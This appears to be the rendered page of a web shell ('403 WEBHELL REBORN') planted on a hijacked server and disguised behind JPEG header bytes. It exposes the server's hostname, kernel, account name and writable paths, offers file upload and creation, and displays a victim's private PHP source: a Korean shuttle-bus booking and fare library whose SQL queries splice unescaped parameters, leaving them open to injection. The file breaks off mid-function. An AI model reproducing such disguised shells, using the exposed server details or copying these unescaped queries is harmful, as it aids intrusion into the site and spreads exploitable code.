ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/to_bus.lib.php
<?
/******************************************************************************
*
* 1. 셔틀버스 정보
*
******************************************************************************/

// 셔틀버스 마스터
//
// @param sql_where
// @param sql_order
// @param limit
function to_bus($sql_where="",$sql_order="",$limit="")
{
	global $cf;

	$upload="/FileData/bus/";
	$upload_thum="/FileData/bus_thum/";

	$data = array();

	// 조건
	$sql = "select * from TB_BUS where 1 and delflag <> 'YY' {$sql_where} ";
	
	// 정렬
	if ( $sql_order ) $sql .= " order by ".$sql_order;
	else $sql .= " order by order_num ";

	// 페이징
	if ( $limit ) $sql .= " limit {$limit}";
		
	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{

		// 사용 flag
		if ($row['delflag'] == "N") {
			$row['delflag_icon'] = $cf['icon']['start'];
			$row['delflag_opp'] = "Y";
		} 
		else {
			$row['delflag_icon'] = $cf['icon']['stop'];
			$row['delflag_opp'] = "N";
		}

		// 대표이미지 
		if ( $row['img'] )  {
			$row['img_src'] = $upload . $row['img'];
			$row['img_thum'] = $upload_thum . $row['img'];
		}
		else {
			$row['img_src'] = $cf['TO_IMG']['no_image_s'];
			$row['img_thum'] = $cf['TO_IMG']['no_image_s'];
		}

		// 지도이미지 
		if ( $row['imgmap'] )  {
			$row['imgmap_src'] = $upload . $row['imgmap'];
			$row['imgmap_thum'] = $upload_thum . $row['imgmap'];
		} 
		else {
			$row['imgmap_src'] = $cf['TO_IMG']['no_image_s'];
			$row['imgmap_thum'] = $cf['TO_IMG']['no_image_s'];
		}

		// 지역
		if ($row['asaa_cd']) {
			$arr_t = base_codeb("ASA",$row['asaa_cd']);
			$row['asaa_nm'] = $arr_t[0]['CdName'];
			$row['asa'] = $arr_t[0]['CdName'];
		}

		// 도시
		if ($row['asab_cd']) {
			$arr_t = base_codec("ASA",$row['asaa_cd'],$row['asab_cd']);
			$row['asab_nm'] = $arr_t[0]['cd_nm'];
			$row['asa'] .= "&gt;".$arr_t[0]['cd_nm'];
		}

		// 담당자사진
		$row['admin_img'] = "/image/contents/staff_bg.gif";
		if ( $row['admin_id'] ) {
			$admin_arr = member_fetch(" and mb_id='{$row[admin_id]}'  and del_flag='N' ");
			if ( $admin_arr[0]['emp_img'] ) $row['admin_img'] = "../FileData/emp/".$admin_arr[0]['emp_img'];
		}

		// 기타
		$row['ins_dt2'] = str_replace("-",".",substr($row['ins_dt'],0,10));
			
		$data[] = $row;
	}

	return $data;
}


// 버스 갤러리
//
function to_bus_photo($bsid) {
	global $cf, $d_uid;

	// 상품 갤러리정보를 가져옴
	$sql = "select * from TB_BUS_GALLERY
	        where bsid = '$bsid'
			order by order_num , seq desc 
			";

	$rs = db_query($sql);

	// 상품을 배열에 저장
	$arr = array();
	while ($row = db_fetch_array($rs)) {
		// 갤러리 이미지 설정
		if ($row['seq']) {
			$row['Img_Src'] = "/FileData/bus_thum/" . $row['img']; // 썸네일
			$row['Img_SrcBig'] = "/FileData/bus/" . $row['img']; // 원본

			if (!file_exists($cf['path'] . $row['Img_Src'])) {
				$row['Img_Src'] = $row['Img_SrcBig'];
			}
		}
		else {
			$row['Img_Src'] = $cf['TO_IMG']['no_image_s']; // 썸네일
			$row['Img_SrcBig'] = $cf['TO_IMG']['no_image_l']; // 원본
		}

		$arr[] = $row;
	}

	return $arr;
}


// 요금정보
//
// @param bsid : 셔틀마스터 id
// @param txid : 요금정보 id
function to_bus_tax_price($bsid="",$txid="",$delflag="")
{
	$data = array();
	$table = "TB_BUS_TAX_PRICE";

	if (!$bsid) return $data;

	$sql = "select * from {$table} where 1 ";
	if ($bsid) $sql .= " and bsid='{$bsid}' ";
	if ($txid) $sql .= " and txid='{$txid}' ";
	if ($delflag) $sql .= " and delflag='{$delflag}' ";

	$rs = db_query($sql);

	while($row=db_fetch_array($rs)) {
		$data[] = $row;
	}

	return $data;
}

// 일정정보
//
//
function to_bus_sch($bsid="",$scid="",$delflag="",$gu="")
{
	$data = array();
	$table = "TB_BUS_SCH";
	
	$sql = "select * from {$table} where 1 " ;
	if ($bsid) $sql .= " and bsid='{$bsid}' ";
	if ($scid) $sql .= " and scid='{$scid}' ";
	if ($delflag) $sql .= " and delflag='{$delflag}' ";
	if ($gu) $sql .= " and gu='{$gu}' ";

	$rs = db_query($sql);

	while($row=db_fetch_array($rs)) {
		// 일정구분
		if($row['gu']=="r") $row['gu_str'] = "리조트행일정";
		else $row['gu_str'] = "귀가행일정";

		$data[] = $row;
	}

	return $data;
}


//  시간대정보
// 
// @param bsid : 셔틀마스터 id
// @param scid : 스케쥴마스터 id
// @param tseq : 시간대 id
// @param delflag : 
// @param gu : 리조트행(r) 귀가행(h) 
function to_bus_schtime($bsid="",$scid="",$tseq="",$delflag="",$gu="")
{
	$data = array();
	$table = "TB_BUS_SCHTIME";
	
	$sql = "select * from {$table} where 1 " ;
	if ($bsid) $sql .= " and bsid='{$bsid}' ";
	if ($scid) $sql .= " and scid='{$scid}' ";
	if ($tseq) $sql .= " and tseq='{$tseq}' ";
	if ($delflag) $sql .= " and delflag='{$delflag}' ";
	if ($gu) $sql .= " and gu='{$gu}' ";

	$rs = db_query($sql);

	while($row=db_fetch_array($rs)) {
		// 일정구분
		if($row['gu']=="r") $row['gu_str'] = "리조트행일정";
		else $row['gu_str'] = "귀가행일정";

		// 노선개수
		$arr_t = to_bus_schtime_line($bsid,$scid,$row['tseq']);
		$row['line_count'] = count($arr_t);

		// 시간대
		$row['time_nm'] = $row['time_start']."시~". $row['time_end']."시";

		// 스케줄 정보의 delflag 확인
		$arr_t = db_fetch("select count(*) as sc_cnt from TB_BUS_SCH where scid='{$row[scid]}' and delflag='N'");
		
		if ($arr_t['sc_cnt']>0) $data[] = $row;
	}

	return $data;
}

//  환승센터,노선 정보
// 
// @param bsid : 셔틀마스터 id
// @param scid : 스케쥴마스터 id
// @param tseq : 시간대 id
// @param tidx : 노선 id
function to_bus_schtime_line($bsid="",$scid="",$tseq="",$tidx="")
{
	$data = array();
	$table = "TB_BUS_SCHTIME_LINE";
	
	$sql = "select * from {$table} where 1 " ;
	if ($bsid) $sql .= " and bsid='{$bsid}' ";
	if ($tseq) $sql .= " and tseq='{$tseq}' ";
	if ($tidx) $sql .= " and tidx='{$tidx}' ";

	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{
		// 일정구분
		if($row['gu']=="r") $row['gu_str'] = "리조트행일정";
		else $row['gu_str'] = "귀가행일정";

		// 노선
		$row['time_str2'] = str_replace("||",") &nbsp;",$row['time_str']);
		$row['time_str2'] = str_replace("|","(",$row['time_str2']);
		
		$line_arr = array();
		$line_all = "";
		$arr_t = explode("||",$row['time_str']);
		foreach($arr_t as  $key => $val) {
			$depot_arr = explode("|",$val);
			if ($depot_arr[0])  {
				$line_arr[] = array('name'=>$depot_arr[0],'time'=>$depot_arr[1]); // 노선+시간 array
				$line_all .= $depot_arr[0]."-"; // 노선(시간없는노선)
				$sw = true;
			}
		}

		$line_all = substr($line_all,0,strlen($line_all)-1);

		$row['line'] = $line_arr; // 노선+시간 array
		$row['line2'] = $line_all; // 노선(시간없는노선)
		
		$data[] = $row;
	}

	return $data;
}


// 배차 출발일 관리
//
//
function to_bus_date($sql_where,$sql_order="",$limit="")
{
	$data = array();
	$table = "TB_BUS_DATE";

	if (!$sql_where) return $data;

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if($sql_order) $sql .= " order by {$sql_order} ";
	else $sql .= " order by start_dt asc,dtid desc ";

	if ($limit) $sql .= " limit {$limit} ";

	$rs = db_query($sql);

	// 예약진행상태 코드
	$code_data = base_codec("PRD","HRES");

	while($row=db_fetch_array($rs)) {
		// 일정구분
		if($row['gu']=="r") $row['gu_str'] = "리조트행일정";
		else $row['gu_str'] = "귀가행일정";

		// 버스정보
		$arr_t = to_bus(" and bsid='{$row[bsid]}' ");
		$arr = $arr_t[0];
		$row['subject'] = $arr['subject'];
		$row['line_nm'] = $arr['line_nm'];
		$row['b_uid'] = $arr['b_uid'];

		// 요금정보
		$arr_t = to_bus_tax_price($row['bsid'],$row['txid']);
		$row['tax'] = $arr_t[0];

		// 시간대 정보
		$row['time_nm'] = $row['time_start']."시~".$row['time_end']."시";

		// 좌석배치 개수
		$row['seating_cnt'] = count(to_car_seat(" and dtid ='{$row[dtid]}' "));

		// 요금정보 재배열(2014-11-21)
		$arr_t = array();
		//if ($row['tax']['price_nm']) {
			$arr_t[] = array(
				//'price_nm'=>$row['tax']['price_nm'],
				'price_nm'=>"셔틀틀버스요금",
				"price_ad_single"=>$row['tax']['price_ad_single'],
				"price_ch_single"=>$row['tax']['price_ch_single'],
				"price_ad_round"=>$row['tax']['price_ad_round'],
				"price_ad_round_mb"=>$row['tax']['price_ad_round_mb'],
				"price_ch_round"=>$row['tax']['price_ch_round']
			);
		//}
		/*
		if ($row['tax']['price_nm2']) {
			$arr_t[] = array(
				'price_nm'=>$row['tax']['price_nm2'],
				"price_ad_single"=>$row['tax']['price_ad_single2'],
				"price_ch_single"=>$row['tax']['price_ch_single2'],
				"price_ad_round"=>$row['tax']['price_ad_round2'],
				"price_ch_round"=>$row['tax']['price_ch_round2']
			);
		}
		if ($row['tax']['price_nm3']) {
			$arr_t[] = array(
				'price_nm'=>$row['tax']['price_nm3'],
				"price_ad_single"=>$row['tax']['price_ad_single3'],
				"price_ch_single"=>$row['tax']['price_ch_single3'],
				"price_ad_round"=>$row['tax']['price_ad_round3'],
				"price_ch_round"=>$row['tax']['price_ch_round3']
			);
		}
		if ($row['tax']['price_nm4']) {
			$arr_t[] = array(
				'price_nm'=>$row['tax']['price_nm4'],
				"price_ad_single"=>$row['tax']['price_ad_single4'],
				"price_ch_single"=>$row['tax']['price_ch_single4'],
				"price_ad_round"=>$row['tax']['price_ad_round4'],
				"price_ch_round"=>$row['tax']['price_ch_round4']
			);
		}
		*/
		$row['tax2'] = $arr_t;
		
		// 일정정보 상세
		$arr_t = to_bus_sch($row['bsid'],$row['scid']);
		$row['sch'] = $arr_t[0];

		// 일정정보 상세
		$arr_t = to_bus_schtime($row['bsid'],$row['scid'],$row['tseq']);
		$row['schtime'] = $arr_t[0];

		// 시간대 정보 부가정보(2015-02-27)
		if($row['schtime']['time_nm3']) $row['time_nm'] .= "(".$row['schtime']['time_nm3'].")";

		// 예약가능 좌석
		$row['reserv_seat'] = $row['total_seat'] - $row['left_seat'];
		if ( $row['reserv_seat'] < 0 ) $row['reserv_seat'] = 0;

		// 예약가능 상태
		$reserv_yn = "C"; // 확정예약
		$reserv_str=  $code_data[1]['cd_nm'];
		$reserv_color = $code_data[1]['cd_memo'];
		$reserv_class = $code_data[1]['cd_memo2'];

		if ( $row['res_state'] == "C" ) {
			$reserv_yn = "N"; // 예약취소,날짜초과 
			$reserv_str = "마감";
			$reserv_color = $code_data[2]['cd_memo'];
			$reserv_class = $code_data[2]['cd_memo2'];
		}
		if ( $row['start_dt'] < date("Y-m-d") ) {
			$reserv_yn = "N"; // 예약취소,날짜초과 
			$reserv_str = "마감";
			$reserv_color = $code_data[2]['cd_memo'];
			$reserv_class = $code_data[2]['cd_memo2'];
		}
		if ( (int)$row['reserv_seat'] <= 0  or $row['res_state']=="B" ) { // 모객완료 or 대기예약
			$reserv_yn = "N"; // 마감
			$reserv_str = "마감";
			$reserv_color = $code_data[2]['cd_memo'];
			$reserv_class = $code_data[2]['cd_memo2'];
		}

		$row['reserv_yn'] = $reserv_yn;
		$row['reserv_str'] = $reserv_str;
		$row['reserv_color'] = $reserv_color;
		$row['reserv_class'] = $reserv_class;

		$data[] = $row;
	}

	return $data;
}


// 셔틀배차 처음 날짜와 마지만 날짜 리턴
//
function busdate_first_last($bsid,$gu="")
{
	$y = date("Y");

	$sql = "select MIN(start_dt) AS first_dt, MAX(start_dt) AS last_dt ";
	$sql .= " from TB_BUS_DATE where bsid='{$bsid}' ";
		
	if($gu) $sql .= " and gu='{$gu}' ";

	$data = db_fetch($sql);

	if(!$data['first_dt']) $data['first_dt']=date("Y-m-d");
	if(!$data['last_dt']) $data['last_dt']=date("Y-m-d");

	$tmp_arr = explode("-",$data['first_dt']);
	if(($y - $tmp_arr[0]) > 5) {//현재년도와 5년이상 차이나면 현재년도에서 5년전 생성
		$data['first_dt1'] = $y-5;
	}else{
		$data['first_dt1'] = $tmp_arr[0];//년
	}
	$data['first_dt2'] = $tmp_arr[1];//월
	$data['first_dt3'] = $tmp_arr[2];//일

	$tmp_arr = explode("-",$data['last_dt']);
	$data['last_dt1'] = $tmp_arr[0];//년
	$data['last_dt2'] = $tmp_arr[1];//월
	$data['last_dt3'] = $tmp_arr[2];//일

	return $data;
}


// 셔틀 탑승 요금계산
//
// @param bsid :기본정보
// @param rdtid : 리조트행 일자 id
// @param hdtid : 귀가일자 id
// @param tgu : 권종
// @param gu : 방향
// @param inwon_ad : 대인인원
// @param inwon_ch  : 소인인원
// @param inwon_ad_mb  : 회원대인인원 추가(2014-12-11)
//
function bus_tax_cal($bsid,$rdtid="",$hdtid="",$tgu="",$gu="",$inwon_ad=0,$inwon_ch=0,$price_seq=0,$inwon_ad_mb=0)
{
	$data =array();
	
	$price_ad = 0;
	$price_ad_mb = 0; //  회원대인왕복 요금(2014-12-11)
	$price_ch = 0;
	$price_nm = "";
	$price_seq = 0; // 수정되면서 무조건 첫번째 가격만 받아옴(2014-12-11)

	$inwon = $inwon_ad + $inwon_ch + $inwon_ad_mb;

	// 예약가능
	$reserv_yn = "Y";

	if ( !$bsid or $inwon==0 or !$inwon ) return $data;

	if($tgu=="r" and $rdtid and $hdtid) // 왕복
	{
		// 리조트행
		$data_r = to_bus_date(" and dtid='{$rdtid}' ");
		$row_r = $data_r[0];

		if( $row_r['reserv_seat'] < $inwon or $row_r['reserv_yn'] != "C" ) $reserv_yn = "N";// 예약가능 인원수 초과

		// 요금 계산
		$price_ad		= $row_r['tax2'][$price_seq]['price_ad_round'] * $inwon_ad; // 대인왕복 요금
		$price_ad_mb = $row_r['tax2'][$price_seq]['price_ad_round_mb'] * $inwon_ad_mb; // 회원대인왕복 요금(2014-12-11)
		$price_ch = $row_r['tax2'][$price_seq]['price_ch_round'] * $inwon_ch; // 소인왕복 요금
		$price_nm = $row_r['tax2'][$price_seq]['price_nm']; // 요금구분명
		
		// 귀가행
		$data_h = to_bus_date(" and dtid='{$hdtid}' ");
		$row_h = $data_h[0];

		if( $row_h['reserv_seat'] < $inwon or $row_h['reserv_yn'] != "C" ) $reserv_yn = "N"; // 예약가능 인원수 초과(2014-12-08)
	}
	else if($tgu=="s" and ( $rdtid or $hdtid )) // 편도
	{
		if( $gu=="r" and $rdtid ) // 리조트행 
		{
			// 리조트 계산
			$data_r = to_bus_date(" and dtid='{$rdtid}' ");
			$row_r = $data_r[0];

			// 요금 계산
			$price_ad = $row_r['tax2'][$price_seq]['price_ad_single']*$inwon_ad; // 대인편도 요금
			$price_ch = $row_r['tax2'][$price_seq]['price_ch_single']*$inwon_ch; // 소인편도 요금
			$price_nm = $row_r['tax2'][$price_seq]['price_nm']; // 요금구분명

			if( $row_r['reserv_seat'] < $inwon or $row_r['reserv_yn'] != "C" ) $reserv_yn = "N";// 예약가능 인원수 초과
		}
		elseif( $gu=="h" and $hdtid ) // 귀가행
		{
			// 귀가행 계산
			$data_h = to_bus_date(" and dtid='{$hdtid}'");
			$row_h = $data_h[0];

			// 요금 계산
			$price_ad = $row_h['tax2'][$price_seq]['price_ad_single']*$inwon_ad; // 대인편도 요금
			$price_ch = $row_h['tax2'][$price_seq]['price_ch_single']*$inwon_ch; // 소인편도 요금
			$price_nm = $row_h['tax2'][$price_seq]['price_nm']; // 요금구분명

			if( $row_h['reserv_seat'] < $inwon  or $row_h['reserv_yn'] != "C" ) $reserv_yn = "N";// 예약가능 인원수 초과
		}
	}

	$data['price_ad'] = $price_ad; // 대인요금계
	$data['price_ch'] = $price_ch; // 소인요금계
	$data['price_total'] = $price_ad + $price_ch + $price_ad_mb; // 합계
	$data['price_nm'] = $price_nm; // 요금구분명
	$data['reserv_yn'] = $reserv_yn; //  예약가능 체크

	if($reserv_yn=="N")
	{
		$data['price_ad'] = 0; // 대인요금계
		$data['price_ch'] = 0; // 소인요금계
		$data['price_total'] = 0; // 합계
		$data['price_nm'] = ""; // 요금구분명
	}

	return $data;
}


// 숙소 객실요금 - 출발일의 첫 년월일, 마지막 년월일
//
// @param bsid : 셔틀버스 id
function bus_date_first_last($bsid)
{
	$y = date("Y");

	$data = array();

	if (!$bsid) return $data;

	$sql = "select MIN(start_dt) AS  first_dt, MAX(start_dt) AS last_dt ";
	$sql .= " from TB_BUS_DATE where bsid='{$bsid}' ";

	$data = db_fetch($sql);

	if(!$data['first_dt']) $data['first_dt']=date("Y-m-d");
	if(!$data['last_dt']) $data['last_dt']=date("Y-m-d");

	$tmp_arr = explode("-",$data['first_dt']);
	if(($y - $tmp_arr[0]) > 5) {//현재년도와 5년이상 차이나면 현재년도에서 5년전 생성
		$data['first_dt1'] = $y-5;
	}else{
		$data['first_dt1'] = $tmp_arr[0];//년
	}
	$data['first_dt2'] = $tmp_arr[1];//월
	$data['first_dt3'] = $tmp_arr[2];//일

	$tmp_arr = explode("-",$data['last_dt']);
	$data['last_dt1'] = $tmp_arr[0];//년
	$data['last_dt2'] = $tmp_arr[1];//월
	$data['last_dt3'] = $tmp_arr[2];//일

	return $data;
}

// 해당날짜의 예약가능 여부를 체크
// 
// params @full_day : 날짜
// params @b_uid : 1차 카테고리
// params @tgu : 권종 편도(s) 왕복(r)
// params @gu : 리조트행(r) , 귀가행(h)
function check_bus_resable($full_day,$b_uid,$tgu="s",$gu="r")
{
	$data = array();

	if (!$full_day or !$b_uid) return $data;

	$resable_yn = "Y";
	$day_plus = 0; // 추가일수
	
	$day7 = 8;
	$day14 = 15;
	if ($gu=="h" and $tgu=="r") {// 귀가행, 왕복 일때는 2일 추가
		$day7 += 2;
		$day14 += 2;
	}

	$cur_to_1day = date("Y-m-d");// 금일로부터 2일차 일자
	$cur_to_2day = date("Y-m-d",strtotime(" +1 day"));// 금일로부터 2일차 일자
	$cur_to_3day = date("Y-m-d",strtotime(" +2 day"));// 금일로부터 3일차 일자
	$cur_to_7day = date("Y-m-d",strtotime(" +{$day7} day"));// 금일로부터 7일차 일자
	$cur_to_14day = date("Y-m-d",strtotime(" +{$day14} day"));// 금일로부터 14일차 일자
	$cur_day_num = date("w", strtotime(date("Y-m-d"))); // 오늘날짜의 요일번호
	$cur_hour = date("H");// 현재시간


	// 설악전기운행(b_uid=38)은 주중(토요일제외 일~금) 출발2일전 오후5시 마감 , 토요일은 오전12시(정오)마감 
	if($b_uid=="38") { // 설악전기운행(2015-01-08)

		// 오늘 마감처리(2015-01-08)
		if(date("Y-m-d")==$full_day) $resable_yn = "N";

		// 내일 마감처리
		if(date("Y-m-d",strtotime(" +1 day"))==$full_day) $resable_yn = "N";

		if ($cur_day_num==6 and $cur_hour>=12 and $cur_to_3day==$full_day) { // 토요일
			$resable_yn = "N"; // 마감
		}
		if($cur_day_num!=6 and $cur_hour>=17 and $cur_to_3day==$full_day) { // 평일,일요일
			$resable_yn = "N"; // 마감
		}

		// 예약가능일자노출  오늘 예약기준 14일간이 예약가능으로 오픈(오늘, 내일 + 14일)
		if ( $cur_to_14day <= $full_day) {
			$resable_yn = "N"; // 마감
		}

		//if ($gu=="h") $res_edate = date("Y-m-d", strtotime("{$full_day} +17 day"));

	// 무주(b_uid=40)는 출발전날 17시까지 예약이 가능
	}elseif($b_uid=="40" or $b_uid=="42"){ 
			if( $cur_hour>=17 and $cur_to_1day==$full_day ) { // 기타 
				$resable_yn = "N"; // 마감
			}

			// 예약가능일자노출  오늘 예약기준 7일간이 예약가능으로 오픈(오늘, 내일 + 7일)
			if ( $cur_to_7day <= $full_day) {
				$resable_yn = "N"; // 마감
			}

	// 나머지 카테고리(b_uid)
	} else {

		// 오늘 마감처리(2015-01-08)
		if(date("Y-m-d")==$full_day) $resable_yn = "N";

		if( $cur_hour>=17 and $cur_to_2day==$full_day ) { // 기타 
			$resable_yn = "N"; // 마감
		}

		// 예약가능일자노출  오늘 예약기준 7일간이 예약가능으로 오픈(오늘, 내일 + 7일)
		// 금일은 마감, 다음날부터 행사가능일이면 무조건 오픈시켜줌(담당대리,20150513)
		if ( $cur_to_7day <= $full_day) {
			// $resable_yn = "N"; // 마감
		}
		//if ($gu=="h") $res_edate = date("Y-m-d", strtotime("{$full_day} +10 day"));
	}

	//$data['res_edate']	= $res_edate;
	$data['resable_yn']	= $resable_yn;

	return $data;
}

/******************************************************************************
*
* 2. 예약 , 입출금 기장,정산 정보
*
******************************************************************************/

// 셔틀버스 예약마스터
//
function res_bus_master($sql_where="",$sql_order="",$limit="")
{
	$data = array();
	$table = "TB_RES_BUS";

	// 조건
	$sql = "select * from {$table} where 1 {$sql_where} ";
	
	// 정렬
	if ( $sql_order ) $sql .= " order by ".$sql_order;
	else $sql .= " order by ins_dt desc ";

	// 페이징
	if ( $limit ) $sql .= " limit {$limit}";
		
	$rs = db_query($sql);

	while($row=db_fetch_array($rs))
	{
		$tgu = $row['tgu']; // 권종
		$gu = $row['gu']; // 방향

		$tgu_str = "편도";
		$resort_line = "";
		$home_line = "";

		$row['r_inwon'] = 0; // 리조트행 인원
		$row['h_inwon'] = 0; // 귀가행 인원
		$row['r_seat'] = 0; // 리조트행 좌석 카운터
		$row['h_seat'] = 0; // 귀가행 좌석 카운터

		if($tgu=="r") // 왕복
		{
			$tgu_str = "왕복";

			// 리조트행
			$resort_line .= $row['rdt']; // 날짜
			
			$resort_line .= " ".$row['board_r'];// 탑승지

			// 출발지 뒷부분 자름
			$tmp_arr_r = explode(" ",$row['board_r']);
			$row['board_r2'] = $tmp_arr_r[0];

			$arr_t = to_bus_schtime($row['bsid'],"",$row['tseq_r']); // 시간대
			$resort_line .= " (".$arr_t[0]['time_nm'];
			
			$arr_t = to_bus_schtime_line($row['bsid'],"","",$row['tidx_r']);// 환승센터
			$resort_line .= " ".$arr_t[0]['depot_center'].")";

			$row['r_inwon'] = $row['inwon_ad'] + $row['inwon_ch'] + $row['inwon_ad_mb']; // 리조트행 인원, 왕복권 회원대인추가(2015-01-05)

			$arr_t = to_car_seat(" and res_no ='{$row[res_no]}' and gu='r' ");// 리조트행 좌석배치 개수
			$row['r_seat'] = count($arr_t); // 리조트행 좌석 카운터

			// 좌석 배정정보
			$bus_no="";
			for($a=0 ; $a<count($arr_t) ; $a++) {
				$arr = $arr_t[$a];
				if($bus_no!=$arr['bus_no']) {
					$row['r_seat_str'] .= $arr['bus_no']."호차-".$arr['seat_no']."번";
					$bus_no=$arr['bus_no'];
				}else{
					$row['r_seat_str'] .= ",".$arr['seat_no']."번";
				}
			}


			// 귀가행
			$home_line .= $row['hdt']; // 날짜
				
			$home_line .= " ".$row['board_h'];// 탑승지

			// 출발지 뒷부분 자름
			$tmp_arr_h = explode(" ",$row['board_h']);
			$row['board_h2'] = $tmp_arr_h[0];

			$arr_t = to_bus_schtime($row['bsid'],"",$row['tseq_h']); // 시간대
			$home_line .= " (".$arr_t[0]['time_nm'];
			
			$arr_t = to_bus_schtime_line($row['bsid'],"","",$row['tidx_h']);// 환승센터
			$home_line .= " ".$arr_t[0]['depot_center'].")";

			$row['h_inwon'] = $row['inwon_ad'] + $row['inwon_ad_mb'] + $row['inwon_ch']; // 귀가행 인원

			$arr_t = to_car_seat(" and res_no ='{$row[res_no]}' and gu='h' ");// 귀가행 좌석배치 개수
			$row['h_seat'] = count($arr_t); // 귀가행 좌석 카운터


			// 좌석 배정정보
			$bus_no="";
			for($a=0 ; $a<count($arr_t) ; $a++) {
				$arr = $arr_t[$a];
				if($bus_no!=$arr['bus_no']) {
					$row['h_seat_str'] .= $arr['bus_no']."호차-".$arr['seat_no']."번";
					$bus_no=$arr['bus_no'];
				}else{
					$row['h_seat_str'] .= ",".$arr['seat_no']."번";
				}
			}
		}
		else // 편도
		{
			if($gu=="r")  // 리조트행
			{
				$tgu_str.= " 리조트행";
					
				$resort_line .= $row['rdt']; // 날짜
				
				$resort_line .= " ".$row['board_r'];// 탑승지

				// 출발지 뒷부분 자름
				$tmp_arr_r = explode(" ",$row['board_r']);
				$row['board_r2'] = $tmp_arr_r[0];

				$arr_t = to_bus_schtime($row['bsid'],"",$row['tseq_r']); // 시간대
				$resort_line .= " (".$arr_t[0]['time_nm'];
				
				$arr_t = to_bus_schtime_line($row['bsid'],"","",$row['tidx_r']);// 환승센터
				$resort_line .= " ".$arr_t[0]['depot_center'].")";

				$row['r_inwon'] = $row['inwon_ad'] + $row['inwon_ch']; // 리조트행 인원

				$arr_t = to_car_seat(" and res_no ='{$row[res_no]}' and gu='r' ");// 리조트행 좌석배치 개수
				$row['r_seat'] = count($arr_t); // 리조트행 좌석 카운터

				// 좌석 배정정보
				$bus_no="";
				for($a=0 ; $a<count($arr_t) ; $a++) {
					$arr = $arr_t[$a];
					if($bus_no!=$arr['bus_no']) {
						$row['r_seat_str'] .= $arr['bus_no']."호차-".$arr['seat_no']."번";
						$bus_no=$arr['bus_no'];
					}else{
						$row['r_seat_str'] .= ",".$arr['seat_no']."번";
					}
				}

			}
			else  // 귀가행
			{
				$tgu_str.= " 귀가행";
				
				$home_line .= $row['hdt']; // 날짜

				// 출발지 뒷부분 자름
				$tmp_arr_h = explode(" ",$row['board_h']);
				$row['board_h2'] = $tmp_arr_h[0];

				$home_line .= " ".$row['board_h'];// 탑승지
				$arr_t = to_bus_schtime($row['bsid'],"",$row['tseq_h']); // 시간대
				$home_line .= " (".$arr_t[0]['time_nm'];
				
				$arr_t = to_bus_schtime_line($row['bsid'],"","",$row['tidx_h']);// 환승센터
				$home_line .= " ".$arr_t[0]['depot_center'].")";

				$row['h_inwon'] = $row['inwon_ad'] + $row['inwon_ch']; // 귀가행 인원

				$arr_t = to_car_seat(" and res_no ='{$row[res_no]}' and gu='h' ");// 귀가행 좌석배치 개수
				$row['h_seat'] = count($arr_t); // 귀가행 좌석 카운터

				// 좌석 배정정보
				$bus_no="";
				for($a=0 ; $a<count($arr_t) ; $a++) {
					$arr = $arr_t[$a];
					if($bus_no!=$arr['bus_no']) {
						$row['h_seat_str'] .= $arr['bus_no']."호차-".$arr['seat_no']."번";
						$bus_no=$arr['bus_no'];
					}else{
						$row['h_seat_str'] .= ",".$arr['seat_no']."번";
					}
				}
			}
		}

		// 구분
		$row['tgu_str'] = $tgu_str;

		// 왕복,편도
		$row['tgu2'] = "편도";
		if($row['tgu']=="r") $row['tgu2'] = "왕복";

		// 리조트행,귀가행 일정
		$row['resort_line'] = $resort_line;
		$row['home_line'] = $home_line;

		// 리조트행 가격
		$row['price']['resort'] = db_fetch("select * from TB_RES_BUS_PRICE where res_no='{$row[res_no]}' and gu='r' ");
		$row['price']['home'] = db_fetch("select * from TB_RES_BUS_PRICE where res_no='{$row[res_no]}' and gu='h' ");

		// 예약진행 상태
		$code_data = base_codec("PRD","HRES",$row['res_stat_cd']);
		$row['res_stat_str'] = $code_data[0]['cd_nm'];
		$row['res_stat_color'] = $code_data[0]['cd_memo'];

		// 입금상태 (미납/완납/과납) 
		$arr = res_account_info($row['res_no']);
		$arr_account = $arr['tot'];
		
		$row['proc_str'] = "-"; // 입금상태 초기화

		if ( $arr_account['pre_money'] > 0 ) 
			$row['proc_str'] = "<span class='icon_unpaid'>미납</span>";
		else if ( $arr_account['pre_money'] < 0 ) 
			$row['proc_str'] = "<span class='icon_overpaid'>과납</span>";
		else if ( $row['res_stat_cd'] == "C" ) 
			$row['proc_str'] = "<span class='icon_paid'>완납</span>";
			
		$row['account'] = $arr_account;

		// 결제 유무
		$row['pay_yn'] = "N";
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] > 0 ) // 확정예약 && 미결제금액이 '0' 이상
		{
			$row['pay_yn'] = "Y"; // 결제가능
		}
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] == 0 ) // 확정예약 && 미결제금액이 '0'
		{
			$row['pay_yn'] = "C"; // 결제완료
		}

		// 원가
		$row['price_cost_total'] = $row['price_total'];

		// 진행전달
		$code_data = base_codec("PRD","REBS",$row['order_state']);
		$row['order_state_str'] =  $code_data[0]['cd_nm'];
		$row['order_state_color'] = $code_data[0]['cd_memo'];

		// 시설명
		$arr_t = TO_get_bc($row['b_uid'],"N"," and tab='B' ");
		$row['b_uid_nm'] = $arr_t[0]['b_name'];

		// 기타
		$row['tab'] = "B"; 
		$row['inwon_str'] = "";
		if ($row['inwon_ad']>0) $row['inwon_str'] .= " 대인:{$row[inwon_ad]}명 ";
		if ($row['inwon_ad_mb']>0) $row['inwon_str'] .= " 회원대인:{$row[inwon_ad_mb]}명 ";
		if ($row['inwon_ch']>0) $row['inwon_str'] .= " 소인:{$row[inwon_ch]}명 ";
		$row['inwon'] = (int)$row['inwon_ad']+(int)$row['inwon_ad_mb']+(int)$row['inwon_ch'];
		$row['ins_dt2'] = str_replace("-","/",substr($row['ins_dt'],0,10));
		$row['rdt2'] = str_replace("-",".",substr($row['rdt'],5,5));
		$row['hdt2'] = str_replace("-",".",substr($row['hdt'],5,5));
	
		$data[] = $row;
	}

	return $data;
}



// 정산정보
//
function acc_bus_date()
{
	$table = "TB_ACCOUNT_BUS";
	
	$data['list'] = array(); // 정산 항목 목록
